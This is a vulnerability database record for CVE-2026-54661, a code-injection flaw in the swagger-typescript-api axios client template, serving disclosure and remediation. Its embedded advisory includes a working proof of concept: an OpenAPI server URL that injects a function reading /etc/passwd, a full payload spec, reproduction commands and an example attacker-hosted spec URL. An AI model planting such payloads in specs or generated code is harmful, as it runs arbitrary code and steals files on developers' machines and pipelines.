{"id":"CVE-2026-54661","revision":null,"records":[{"revision":"126f97a2d8dd4100937f2946f0389b52","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-54661","aliases":[],"title":"swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in axios http-client template","description":"swagger-typescript-api generates API clients for Fetch or Axios from an OpenAPI Specification. Prior to 13.12.2, templates/base/http-clients/axios-http-client.ejs interpolates servers[0].url from src/code-gen-process.ts into the HttpClient constructor without escaping, allowing an attacker-controlled OpenAPI spec to inject code that executes when new HttpClient() or new Api() is constructed. This issue is fixed in version 13.12.2.","state":0,"publishedAt":"2026-07-29T14:30:29.903+00:00","modifiedAt":"2026-07-29T15:00:20.087+00:00","affected":[{"ecosystem":"Vendor product","name":"swagger-typescript-api","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"acacode\",\n                    \"product\": \"swagger-typescript-api\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 13.12.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","score":8.3,"severity":"HIGH"}],"references":["https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-38c3-wv3c-v3xj","https://github.com/acacode/swagger-typescript-api/pull/1779","https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de","https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-54661","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-54661","identifiers":["CVE-2026-54661"]},"retained":false,"historicalAffected":[]},{"revision":"2336fba2369a42e28222395ca02b3aa4","observedAt":"2026-10-25T13:17:28.253+00:00","statement":{"source":"nvd","id":"CVE-2026-54661","aliases":[],"title":"swagger-typescript-api generates API clients for Fetch or Axios from an OpenAPI Specification. Prior to 13.12.2, templates/base/http-clients/axios-http-client.ejs interpolates servers[0].url from src/code-gen-process.ts into the HttpClient …","description":"swagger-typescript-api generates API clients for Fetch or Axios from an OpenAPI Specification. Prior to 13.12.2, templates/base/http-clients/axios-http-client.ejs interpolates servers[0].url from src/code-gen-process.ts into the HttpClient constructor without escaping, allowing an attacker-controlled OpenAPI spec to inject code that executes when new HttpClient() or new Api() is constructed. This issue is fixed in version 13.12.2.","state":0,"publishedAt":"2026-07-29T15:16:25.44+00:00","modifiedAt":"2026-10-23T23:10:00.157+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","score":8.3,"severity":"HIGH"}],"references":["https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de","https://github.com/acacode/swagger-typescript-api/pull/1779","https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2","https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-38c3-wv3c-v3xj"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-54661","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-74","CWE-94","CWE-1336"],"productCriteria":[],"sourceDates":{"published":"2026-07-29T15:16:25.440","lastModified":"2026-10-23T23:10:00.157"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-54661","identifiers":["CVE-2026-54661"]},"retained":false,"historicalAffected":[]},{"revision":"b39056456beb44e9bb42a0c8e61b6eb8","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-38c3-wv3c-v3xj","aliases":["CVE-2026-54661"],"title":"swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in axios http-client template","description":"### Summary\n\n`swagger-typescript-api` interpolates `servers[0].url` directly into a TypeScript string literal inside the `HttpClient` constructor body of the generated **axios** client (`templates/base/http-clients/axios-http-client.ejs:71`), without any escaping. A malicious URL containing a `\"` closes the string literal and exposes the surrounding *object-literal argument* of `axios.create({...})` to injection. A computed property key whose value is an IIFE executes arbitrary code every time `new HttpClient()` (or `new Api()`, which extends `HttpClient`) is constructed. The attacker controls the OpenAPI spec; the victim is any consumer of the generated client. Impact is arbitrary code execution with the importing process's privileges.\n\nThis is the *axios* sibling of the previously reported fetch-client RCE — same upstream variable (`apiConfig.baseUrl`, sourced from `servers[0].url`), same root cause class (raw `<%~ %>` interpolation of unescaped spec strings), different template file and different lifecycle frame (constructor body vs class-body static field). The single most maintainable fix — sanitizing `apiConfig.baseUrl` once at the source in `src/code-gen-process.ts:591` — closes both at once.\n\n### Details\n\n`createApiConfig` in `src/code-gen-process.ts:591` sets the templated `baseUrl` from the spec without sanitization:\n\n```ts\nreturn {\n  ...\n  baseUrl: serverUrl,     // <-- serverUrl = swaggerSchema.servers[0].url, raw\n  ...\n};\n```\n\nThe axios http-client template (`templates/base/http-clients/axios-http-client.ejs:71`) then interpolates that value into a TS string literal inside the `HttpClient` constructor body:\n\n```ejs\nconstructor({ securityWorker, secure, format, ...axiosConfig }: ApiConfig<SecurityDataType> = {}) {\n    this.instance = axios.create({ ...axiosConfig, baseURL: axiosConfig.baseURL || \"<%~ apiConfig.baseUrl %>\" })\n    ...\n}\n```\n\n`<%~ %>` is Eta's raw, unescaped interpolation. The codebase's only escape function — `escapeJSDocContent` (`src/schema-parser/schema-formatters.ts:127`) — only replaces `*/` and is not applied to this path.\n\nThe injection sits inside a JavaScript *object literal* (the argument to `axios.create({...})`), so simple statement-level injection is not directly possible — but **computed property keys** are. A spec value of the form:\n\n```\nURL\", [(IIFE)()]: 0, dummy: \"\n```\n\nproduces the following object literal:\n\n```js\naxios.create({\n  ...axiosConfig,\n  baseURL: axiosConfig.baseURL || \"URL\",\n  [(IIFE)()]: 0,\n  dummy: \"\"\n})\n```\n\nThe IIFE evaluates eagerly when the object literal is constructed — i.e. every time `new HttpClient()` runs. The trailing `dummy: \"\"` reopens a string that the template's own closing `\"` terminates, keeping the file syntactically valid TypeScript.\n\n**Lifecycle compared to the fetch sink:** the fetch template emits a class-body field initializer that fires at class-definition / module load. The axios sink emits inside the constructor and therefore fires one frame later, on `new HttpClient()`. In practice the trigger window is identical, because:\n\n- Every README example in this repository does `const api = new Api()` at module top level.\n- `Api` (in `default/api.ejs`) extends `HttpClient`, so `new Api()` invokes the `HttpClient` constructor via `super()`.\n- Top-level `const api = new Api()` runs at module load — the consumer cannot import without instantiating in the documented usage pattern.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → check canary). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious `servers[0].url`** (literal string, JSON-encoded in the spec below):\n\n```\nhttps://api.example.com\", [(async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: \"\n```\n\n**Minimal payload spec:**\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"AxiosPayloadAPI\", \"version\": \"1.0.0\" },\n  \"servers\": [\n    {\n      \"url\": \"https://api.example.com\\\", [(async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: \\\"\"\n    }\n  ],\n  \"paths\": {\n    \"/ping\": {\n      \"get\": {\n        \"operationId\": \"ping\",\n        \"responses\": { \"200\": { \"description\": \"OK\" } }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild axios\nnode -e \"import('swagger-typescript-api').then(m => m.generateApi({\n  name: 'Api.ts', output: process.cwd() + '/out',\n  input: process.cwd() + '/payload-spec.json', httpClientType: 'axios'\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n  --external:axios --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"\n  const mod = await import('./out/Api.bundle.mjs');\n  new mod.HttpClient();\n  await new Promise(r => setTimeout(r, 300));\n\"\nls -la /tmp/sta_canary && cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (constructor — payload, Biome-formatted):**\n\n```ts\nconstructor({\n  securityWorker,\n  secure,\n  format,\n  ...axiosConfig\n}: ApiConfig<SecurityDataType> = {}) {\n  this.instance = axios.create({\n    ...axiosConfig,\n    baseURL: axiosConfig.baseURL || \"https://api.example.com\",\n    [(async () => {\n      try {\n        const fs = await import(\"node:fs\");\n        const data = fs.readFileSync(\"/etc/passwd\", \"utf8\");\n        fs.writeFileSync(\"/tmp/sta_canary\", data);\n      } catch (e) {}\n      return \"pwned\";\n    })()]: 0,\n    dummy: \"\",\n  });\n  this.secure = secure;\n  this.format = format;\n  this.securityWorker = securityWorker;\n}\n```\n\nThe `[(async () => { ... })()]: 0` is a real computed object-literal key — Biome only reformats syntactically valid TypeScript, so the multi-line indented output proves it parsed. The IIFE evaluates when the `axios.create({...})` argument is constructed (during the `HttpClient` constructor), schedules `fs.readFileSync('/etc/passwd')`, and writes the exfiltrated contents to `/tmp/sta_canary`.\n\n**Result:** after `new HttpClient()`, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (`servers[0].url: \"https://api.example.com\"`) generates a clean `baseURL: ... || \"https://api.example.com\"` and writes no canary.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` with `httpClientType: \"axios\"` (or `--http-client axios`) against an OpenAPI spec they did not author entirely:\n\n- `sta generate --http-client axios --url https://attacker.example/openapi.json` — a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating axios-based clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant axios clients from tenant-supplied specs.\n- Any project pinned to a spec file that a contributor can modify via PR.\n\n**Lifecycle:** the injected IIFE fires when `new HttpClient()` is constructed. In the standard usage pattern (`const api = new Api()` at module top level), this is effectively at first import — `Api extends HttpClient` and the `super()` call invokes the affected constructor. A consumer cannot use the generated client without constructing it.\n\n**Privilege:** the IIFE runs with the full privileges of the importing process — read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, etc.\n\n**Suggested fix:** sanitize `apiConfig.baseUrl` once at the source in `src/code-gen-process.ts:591`:\n\n```ts\n// in createApiConfig\nbaseUrl: escapeJsStringLiteral(serverUrl),\n```\n\nwhere `escapeJsStringLiteral` produces a properly-escaped JS string literal — at minimum escaping `\"`, `\\`, `\\n`, `\\r`, `\\t`, `\\b`, `\\f`, `\\v`, `\\0`, and the line/paragraph separators ` ` / ` `. `JSON.stringify(serverUrl).slice(1, -1)` is a one-line acceptable implementation. **This single change closes both this advisory and the previously reported fetch-client variant** without further template edits.\n\nIf a template-side fix is preferred instead, both `templates/base/http-clients/fetch-http-client.ejs:75` and `templates/base/http-clients/axios-http-client.ejs:71` need their `<%~ apiConfig.baseUrl %>` swapped for the escaped form — fixing only one leaves the other exploitable.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)","state":0,"publishedAt":"2026-07-29T14:31:15+00:00","modifiedAt":"2026-07-29T14:56:42.663387+00:00","affected":[{"ecosystem":"npm","name":"swagger-typescript-api","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"13.12.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-38c3-wv3c-v3xj","https://github.com/acacode/swagger-typescript-api/pull/1779","https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de","https://github.com/acacode/swagger-typescript-api","https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"],"sourceUrl":"https://github.com/advisories/GHSA-38c3-wv3c-v3xj","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-38c3-wv3c-v3xj","identifiers":["GHSA-38c3-wv3c-v3xj","CVE-2026-54661"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-26T08:22:31.5744378+00:00","complete":true,"records":1756,"lastAttemptAt":"2026-10-26T08:22:31.5744378+00:00","lastSuccessAt":"2026-10-26T08:22:31.7460185+00:00","error":null,"lastVerifiedAt":"2026-10-26T08:22:31.7460215+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-5ba1945314e042c2ced14b33f3680fa71692812d925544312b218f5eb8a26e71-7be668fdfdeaeb5567583afe06ddb6baaaf3c46d3179c97a67bbd53e37799306","complete":true,"records":414096,"lastAttemptAt":"2026-10-26T08:20:52.7258433+00:00","lastSuccessAt":"2026-10-26T08:20:52.6822499+00:00","error":null,"lastVerifiedAt":"2026-10-26T08:20:52.7258433+00:00","snapshotPublishedAt":"2026-10-26T07:44:21+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-26T08:22:34.3793835+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":4764,"expectedIdentifiers":13474},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-26T08:22:31.5744378+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-26T08:22:31.5744378+00:00","lastSuccessAt":"2026-10-26T08:22:31.7471397+00:00","error":null,"lastVerifiedAt":"2026-10-26T08:22:31.7471404+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-204a3fb93a00487e8f7f36db01dc851d","complete":true,"records":13413,"lastAttemptAt":"2026-10-26T08:22:32.3026766+00:00","lastSuccessAt":"2026-10-25T16:19:28.681+00:00","error":null,"lastVerifiedAt":"2026-10-25T16:19:28.681+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13474,"expectedIdentifiers":13474},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-2375a4e597279abf92e8747e140fe8da9d421877cd49cae3ac69a2cb78469b2c","complete":true,"records":9779,"lastAttemptAt":"2026-10-26T08:22:31.5153923+00:00","lastSuccessAt":"2026-10-24T13:19:53.1346702+00:00","error":null,"lastVerifiedAt":"2026-10-26T08:22:31.5153923+00:00","snapshotPublishedAt":"2026-10-24T03:03:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-16ad89dfea13ab9e9b0108e63a759d63bd4559cc68b58491107d62ee35bbbaf2","complete":true,"records":1965,"lastAttemptAt":"2026-10-26T08:20:52.7776084+00:00","lastSuccessAt":"2026-10-23T16:01:26.4487605+00:00","error":null,"lastVerifiedAt":"2026-10-26T08:20:52.7776084+00:00","snapshotPublishedAt":"2026-10-21T12:18:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-7da67a15aa6e56a0e3081a7646dc74d537e6ef974afc593c2b1794ed01970648","complete":true,"records":2969,"lastAttemptAt":"2026-10-26T08:22:31.531764+00:00","lastSuccessAt":"2026-10-24T13:19:59.1145547+00:00","error":null,"lastVerifiedAt":"2026-10-26T08:22:31.531764+00:00","snapshotPublishedAt":"2026-10-24T08:47:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-654e90fb44abcd729ddecf56d54c1b46ce87ca3181850e8bc65d5c8befceb659","complete":true,"records":230805,"lastAttemptAt":"2026-10-26T08:22:31.3932452+00:00","lastSuccessAt":"2026-10-26T08:22:30.1390577+00:00","error":null,"lastVerifiedAt":"2026-10-26T08:22:31.3932452+00:00","snapshotPublishedAt":"2026-10-26T07:48:28+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}